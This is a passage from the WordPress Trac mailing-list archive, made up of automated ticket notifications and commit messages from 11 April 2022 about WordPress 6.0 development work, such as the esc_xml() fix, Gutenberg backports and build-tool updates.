Resolution: Keywords: has-patch needs-testing has-unit- | Focuses: tests commit | -------------------------------------------------+------------------------- Changes (by pbiron): * keywords: has-patch needs-testing has-unit-tests => has-patch needs- testing has-unit-tests commit Comment: @rumpel2116 Thanx! This looks good, thanx for the additional unit test. I'm marking this for commit. @swissspidy can you take a look and and commit before the 6.0 Beta 1 release tomorrow. Technically, since this is a bug, it can go in after Beta 1, but it would be better if it were committed before Beta. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55399#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 15:20:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 15:20:28 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.87db853d1c5e0cc560eb062a11ad61f5@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53138" 53138]: {{{ #!CommitTicketReference repository="" revision="53138" Editor: Add changes for new Comments Query Loop blocks Backports changes from Gutenberg to add functions required by Comment Query Loop and related blocks. Related unit tests depends on the new blocks and they will get added seperately. Props darerodz, timothyblynjacobs. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:82> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 15:36:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 15:36:12 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.66d8e86a465157625fecc7eb433be959@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53139" 53139]: {{{ #!CommitTicketReference repository="" revision="53139" REST API: Fix the wrong name in the comments controller It should be `embeddable` not `embedded`. Follow-up [53138]. Props timothyblynjacobs. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:85> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 15:37:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 15:37:55 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2321668=3A_WordPress_d?= =?utf-8?q?oes_not_respect_jpeg=E2=80=99s_progressive_feature_of_original_?= =?utf-8?q?image?= In-Reply-To: <048.b1f50118f77161e4791536b1a0315977@wordpress.org> References: <048.b1f50118f77161e4791536b1a0315977@wordpress.org> Message-ID: <063.f7aacf38170bb2845e153011d24c7c68@wordpress.org> #21668: WordPress does not respect jpeg’s progressive feature of original image -------------------------+------------------------------ Reporter: _ck_ | Owner: adamsilverstein Type: enhancement | Status: assigned Priority: normal | Milestone: Future Release Component: Media | Version: 3.4.1 Severity: normal | Resolution: Keywords: needs-patch | Focuses: -------------------------+------------------------------ Changes (by adamsilverstein): * owner: (none) => adamsilverstein * status: reopened => assigned Comment: Revisiting this in light of https://github.com/w3c/largest-contentful- paint/issues/68 -- Ticket URL: <https://core.trac.wordpress.org/ticket/21668#comment:54> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 15:46:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 15:46:52 -0000 Subject: [wp-trac] [WordPress Trac] #55551: WP FANZONE In-Reply-To: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> References: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> Message-ID: <068.b636f18791d822c47658725db98d234a@wordpress.org> #55551: WP FANZONE --------------------------+--------------------------------------------- Reporter: garytexas | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: 3.2 Severity: normal | Resolution: invalid Keywords: close | Focuses: docs, administration, template --------------------------+--------------------------------------------- Changes (by johnbillion): * status: reopened => closed * resolution: => invalid * milestone: Awaiting Review => Comment: @garytexas This really isn't the right place, sorry. Please direct your requests to the support forum linked above. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55551#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 15:47:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 15:47:51 -0000 Subject: [wp-trac] [WordPress Trac] #55551: WP FANZONE In-Reply-To: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> References: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> Message-ID: <053.db78e9731ce8e2c94cc7349d97302edd@wordpress.org> #55551: WP FANZONE --------------------------+--------------------------------------------- Reporter: garytexas | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: 3.2 Severity: normal | Resolution: invalid Keywords: close | Focuses: docs, administration, template --------------------------+--------------------------------------------- Changes (by garytexas): * Attachment "wp-fanzone.3.2.zip" removed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55551> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 16:08:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 16:08:27 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.15ff23a1da2a8788fa727cfc1727914f@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53140" 53140]: {{{ #!CommitTicketReference repository="" revision="53140" Build: Enable React Fast Refresh for block development Brings the same functionality introduced in the Gutenberg plugin with https://github.com/WordPress/gutenberg/pull/28273. In effect, it brings React Fast Refresh support to WordPress core for block development with `@wordpress/scripts`. Props walbo, antonvlasenko. See #51750, #55505. Follow-up [53135]. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:86> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 16:08:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 16:08:27 -0000 Subject: [wp-trac] [WordPress Trac] #51750: Update webpack to version 5.x In-Reply-To: <052.6a32455c737a8b604ac2de53e5d9c49a@wordpress.org> References: <052.6a32455c737a8b604ac2de53e5d9c49a@wordpress.org> Message-ID: <067.82713730d26c361d76ee11f1b970cba5@wordpress.org> #51750: Update webpack to version 5.x ------------------------------+------------------------- Reporter: mukesh27 | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: javascript ------------------------------+------------------------- Comment (by gziolo): In [changeset:"53140" 53140]: {{{ #!CommitTicketReference repository="" revision="53140" Build: Enable React Fast Refresh for block development Brings the same functionality introduced in the Gutenberg plugin with https://github.com/WordPress/gutenberg/pull/28273. In effect, it brings React Fast Refresh support to WordPress core for block development with `@wordpress/scripts`. Props walbo, antonvlasenko. See #51750, #55505. Follow-up [53135]. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/51750#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 16:23:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 16:23:37 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.84da62c502e75120a524accd1e8bbfcf@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53141" 53141]: {{{ #!CommitTicketReference repository="" revision="53141" Build: Bring `caniuse-lite` to the latest version This ensures that build tools target the most recent version of browsers supported by WordPress. Follow-up [53135]. See #51750, #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:87> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 16:23:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 16:23:37 -0000 Subject: [wp-trac] [WordPress Trac] #51750: Update webpack to version 5.x In-Reply-To: <052.6a32455c737a8b604ac2de53e5d9c49a@wordpress.org> References: <052.6a32455c737a8b604ac2de53e5d9c49a@wordpress.org> Message-ID: <067.560895d50abb90a26be844cb3438881b@wordpress.org> #51750: Update webpack to version 5.x ------------------------------+------------------------- Reporter: mukesh27 | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: javascript ------------------------------+------------------------- Comment (by gziolo): In [changeset:"53141" 53141]: {{{ #!CommitTicketReference repository="" revision="53141" Build: Bring `caniuse-lite` to the latest version This ensures that build tools target the most recent version of browsers supported by WordPress. Follow-up [53135]. See #51750, #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/51750#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 16:34:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 16:34:07 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.47818e53b6388752d233e4d51c680157@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by gziolo): In [changeset:"53142" 53142]: {{{ #!CommitTicketReference repository="" revision="53142" Editor: Update `build_comment_query_vars_from_block` from Gutenberg Follow-up for [53138]. See #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:88> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 16:36:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 16:36:25 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.f9d60c6322dcb4d5edad95812346734c@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by antonvlasenko): Replying to [comment:80 gziolo]: > > I've added a couple of code reviews. I'm not sure where to put them since relevant PRs have already been closed. > > @antonvlasenko, this is awesome. Can you confirm if all your comments were addressed in [53128]? Yes, I confirm it. Thank you, @gziolo. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:89> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 18:28:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 18:28:56 -0000 Subject: [wp-trac] [WordPress Trac] #53339: Inconsistency in allowed characters for a password In-Reply-To: <056.d0b05123c92961464640896531cf7d67@wordpress.org> References: <056.d0b05123c92961464640896531cf7d67@wordpress.org> Message-ID: <071.a53aeb5093a7ed5efbe7d6c0305f5f9a@wordpress.org> #53339: Inconsistency in allowed characters for a password --------------------------+------------------------------ Reporter: henry.wright | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Users | Version: Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Comment (by henry.wright): Related #35500 -- Ticket URL: <https://core.trac.wordpress.org/ticket/53339#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 18:56:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 18:56:20 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.8da91bee8d54a74c9c9a22df45daf7fb@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by dansoschin): I've created an initial collaborative document as a starting point using Google Docs. If for some reason you have trouble accessing it, please just "request access" or leave a comment here and we'll address that. https://docs.google.com/document/d/15ES6jMSp2JfpYKEcq1Z3oRWLwrBsfOd1sEbtHizozmU/edit?usp=sharing -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 18:57:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 18:57:04 -0000 Subject: [wp-trac] [WordPress Trac] #55559: Update the `caniuse` data for 6.0 Message-ID: <051.4ca4fdd5ea8fc39744655cfc07995186@wordpress.org> #55559: Update the `caniuse` data for 6.0 ------------------------------+---------------------- Reporter: desrosj | Owner: (none) Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Keywords: Focuses: css | ------------------------------+---------------------- [53141] updated the `caniuse` database to the latest version. This ticket is to ensure that any CSS files generated by Core build tools (not distributed in NPM dependencies) are updated accordingly with `grunt precommit:css`. For historical reference, the update in [53141] produced the following target browser changes when using the latest data provided in version `1.0.30001327`: {{{ Target browser changes: - and_chr 91 + and_chr 100 - and_uc 12.12 - android 91 + android 99 - chrome 91 - chrome 90 + chrome 100 + chrome 99 + chrome 98 - edge 91 - edge 90 + edge 99 + edge 98 - firefox 90 - firefox 89 + firefox 98 + firefox 97 - ios_saf 14.5-14.7 - ios_saf 14.0-14.4 + ios_saf 15.4 + ios_saf 15.2-15.3 + ios_saf 14.5-14.8 - opera 77 - opera 76 + opera 83 + opera 82 - safari 14.1 - safari 14 + safari 15.4 + safari 15.2-15.3 - samsung 14.0 + samsung 16.0 }}} Previously: - #53686 (5.8) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55559> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 19:06:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 19:06:22 -0000 Subject: [wp-trac] [WordPress Trac] #55559: Update the `caniuse` data for 6.0 In-Reply-To: <051.4ca4fdd5ea8fc39744655cfc07995186@wordpress.org> References: <051.4ca4fdd5ea8fc39744655cfc07995186@wordpress.org> Message-ID: <066.1b825d60bfab0e303022c4e314268819@wordpress.org> #55559: Update the `caniuse` data for 6.0 ------------------------------+----------------------- Reporter: desrosj | Owner: desrosj Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: | Focuses: css ------------------------------+----------------------- Changes (by desrosj): * owner: (none) => desrosj Comment: After running `grunt precommit:css`, there are only 2 deleted `-moz-tab- size` properties. The `-moz-` prefix has not been required for Firefox since version 90 (Firefox is currently at version 99), and currently sits at 0.02% usage. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55559#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 19:08:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 19:08:34 -0000 Subject: [wp-trac] [WordPress Trac] #55559: Update the `caniuse` data for 6.0 In-Reply-To: <051.4ca4fdd5ea8fc39744655cfc07995186@wordpress.org> References: <051.4ca4fdd5ea8fc39744655cfc07995186@wordpress.org> Message-ID: <066.b0568720966607d7fb8fdb4464fa8f06@wordpress.org> #55559: Update the `caniuse` data for 6.0 ------------------------------+----------------------- Reporter: desrosj | Owner: desrosj Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: | Focuses: css ------------------------------+----------------------- Comment (by desrosj): In [changeset:"53143" 53143]: {{{ #!CommitTicketReference repository="" revision="53143" Build/Test Tools: Update generated CSS files after [53141]. This removes 2 instances of `-moz-tab-size`, which has not been required for Firefox to support the `tab-size` property since version 90 (current version is 99. See #55559. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55559#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 19:08:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 19:08:52 -0000 Subject: [wp-trac] [WordPress Trac] #55559: Update the `caniuse` data for 6.0 In-Reply-To: <051.4ca4fdd5ea8fc39744655cfc07995186@wordpress.org> References: <051.4ca4fdd5ea8fc39744655cfc07995186@wordpress.org> Message-ID: <066.316f6ff3f0a9e381616dde66c5ec44f2@wordpress.org> #55559: Update the `caniuse` data for 6.0 ------------------------------+----------------------- Reporter: desrosj | Owner: desrosj Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: Keywords: | Focuses: css ------------------------------+----------------------- Comment (by desrosj): Leaving this open just in case another update is required, but this can be closed out when preparing for RC1. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55559#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 19:38:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 19:38:07 -0000 Subject: [wp-trac] [WordPress Trac] #55399: esc_xml() removes valid XML input ( input that is empty() ) In-Reply-To: <054.6f1ed67beb6072490bacc7335e1248d1@wordpress.org> References: <054.6f1ed67beb6072490bacc7335e1248d1@wordpress.org> Message-ID: <069.4df73081ad4624a8d238015171df946d@wordpress.org> #55399: esc_xml() removes valid XML input ( input that is empty() ) -------------------------------------------------+------------------------- Reporter: rumpel2116 | Owner: pbiron Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Formatting | Version: 5.5 Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch needs-testing has-unit-tests commit => has-patch has-unit-tests commit assigned-for-commit Comment: Self-assigning for final review and commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55399#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 19:58:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 19:58:18 -0000 Subject: [wp-trac] [WordPress Trac] #55399: esc_xml() removes valid XML input ( input that is empty() ) In-Reply-To: <054.6f1ed67beb6072490bacc7335e1248d1@wordpress.org> References: <054.6f1ed67beb6072490bacc7335e1248d1@wordpress.org> Message-ID: <069.c81ebcab0d692eeca99d39e5de570e64@wordpress.org> #55399: esc_xml() removes valid XML input ( input that is empty() ) -------------------------------------------------+------------------------- Reporter: rumpel2116 | Owner: pbiron Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Formatting | Version: 5.5 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53144" 53144]: {{{ #!CommitTicketReference repository="" revision="53144" Formatting: Avoid escaping valid XML values in `esc_xml()`. This change improves the `esc_xml()` function by replacing two `empty()` checks with `isset()` to cover values that are not equal to `''` but still returning `true` when checked with `empty()`, like `'0'`, `0` or `false`. It also updates the related unit tests accordingly. Props rumpel2116, pbiron. Fixes #55399. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55399#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 20:39:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 20:39:01 -0000 Subject: [wp-trac] [WordPress Trac] #55401: Subpages of a web page can be called twice In-Reply-To: <055.3f14c28994df00d9eeb59ba7b17bab48@wordpress.org> References: <055.3f14c28994df00d9eeb59ba7b17bab48@wordpress.org> Message-ID: <070.79f8b74d9f1e1ebccd0969a251de4b6c@wordpress.org> #55401: Subpages of a web page can be called twice --------------------------+------------------------------ Reporter: manuel10503 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Permalinks | Version: 5.9.3 Severity: major | Resolution: Keywords: needs-patch | Focuses: --------------------------+------------------------------ Changes (by manuel10503): * version: 5.9.2 => 5.9.3 Comment: Are there any news on this topic? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55401#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 21:06:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 21:06:28 -0000 Subject: [wp-trac] [WordPress Trac] #54561: Avoid translating several times widget media default strings In-Reply-To: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> References: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> Message-ID: <065.8a28cfb93fabd1e07a0c8a0546f8e448@wordpress.org> #54561: Avoid translating several times widget media default strings -------------------------+-------------------------- Reporter: Chouby | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Widgets | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: performance -------------------------+-------------------------- Comment (by audrasjb): Alright @peterwilsoncc @Chouby, but I'm unsure what would be the best function to hook on in default-filters.php. Any thought? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54561#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 21:29:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 21:29:15 -0000 Subject: [wp-trac] [WordPress Trac] #45915: Update "New Admin Email Address" Email Wording In-Reply-To: <053.1ee102959895e693e40e7504c2b36e7c@wordpress.org> References: <053.1ee102959895e693e40e7504c2b36e7c@wordpress.org> Message-ID: <068.d3c91be200d18be046fac2a689df5fcc@wordpress.org> #45915: Update "New Admin Email Address" Email Wording --------------------------------------------------+----------------------- Reporter: TwisterMc | Owner: audrasjb Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+----------------------- Changes (by audrasjb): * keywords: has-patch => has-patch commit assigned-for-commit * owner: (none) => audrasjb * status: new => accepted Comment: Tests are passing on the PR I added to refresh the patch. Self-assigning for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/45915#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 21:32:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 21:32:38 -0000 Subject: [wp-trac] [WordPress Trac] #45915: Update "New Admin Email Address" Email Wording In-Reply-To: <053.1ee102959895e693e40e7504c2b36e7c@wordpress.org> References: <053.1ee102959895e693e40e7504c2b36e7c@wordpress.org> Message-ID: <068.02e9a75cbe71b5b1981f51681b5f4113@wordpress.org> #45915: Update "New Admin Email Address" Email Wording --------------------------------------------------+----------------------- Reporter: TwisterMc | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+----------------------- Changes (by audrasjb): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53145" 53145]: {{{ #!CommitTicketReference repository="" revision="53145" Users: Improve wording of the "New Admin Email Address" email. This changeset clarifies the email that the user gets when someone change the administration email address. Props TwisterMc, Presskopp, audrasjb. Fixes #45915. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/45915#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 21:35:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 21:35:22 -0000 Subject: [wp-trac] [WordPress Trac] #54394: Add functions for required fields indicator and message In-Reply-To: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> References: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> Message-ID: <070.e9f0f1dfe72ddf7cb0a1b1d4ffd8ff4e@wordpress.org> #54394: Add functions for required fields indicator and message -------------------------------------------------+------------------------- Reporter: sabernhardt | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch required-fields dev- | Focuses: feedback | accessibility -------------------------------------------------+------------------------- Changes (by sabernhardt): * Attachment "53494.4.patch" added. using functions in comments template, the New Site form, and 3 media functions -- Ticket URL: <https://core.trac.wordpress.org/ticket/54394> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 21:46:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 21:46:26 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.90977f4dc4770063f0368ffca84c00ba@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53146" 53146]: {{{ #!CommitTicketReference repository="" revision="53146" Docs: Misc. docblock fixes in `wp-admin/includes/mic.php`, as per documentation standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:64> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 21:57:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 21:57:50 -0000 Subject: [wp-trac] [WordPress Trac] #54394: Add functions for required fields indicator and message In-Reply-To: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> References: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> Message-ID: <070.bcc528fed3ccf044b2aeed89a0d99b6e@wordpress.org> #54394: Add functions for required fields indicator and message -------------------------------------------------+------------------------- Reporter: sabernhardt | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch required-fields dev- | Focuses: feedback | accessibility -------------------------------------------------+------------------------- Comment (by sabernhardt): The spacing in [attachment:"53494.4.patch"] should be identical to the existing markup in these functions, but each message has the wrapper span and each indicator has `aria-hidden`. In `wp_media_insert_url_form`, the Alternative Text field has had a `required` (or `aria-required`) attribute since r8313, and the patch gives that label its missing indicator. I made the changes to `get_compat_media_markup`, though I do not know to test that function. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54394#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 11 22:31:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 11 Apr 2022 22:31:51 -0000 Subject: [wp-trac] [WordPress Trac] #55554: Block heading disappears when it's white color In-Reply-To: <053.33cd29f33aa6011d1ea82ad4f6f4580a@wordpress.org> References: <053.33cd29f33aa6011d1ea82ad4f6f4580a@wordpress.org> 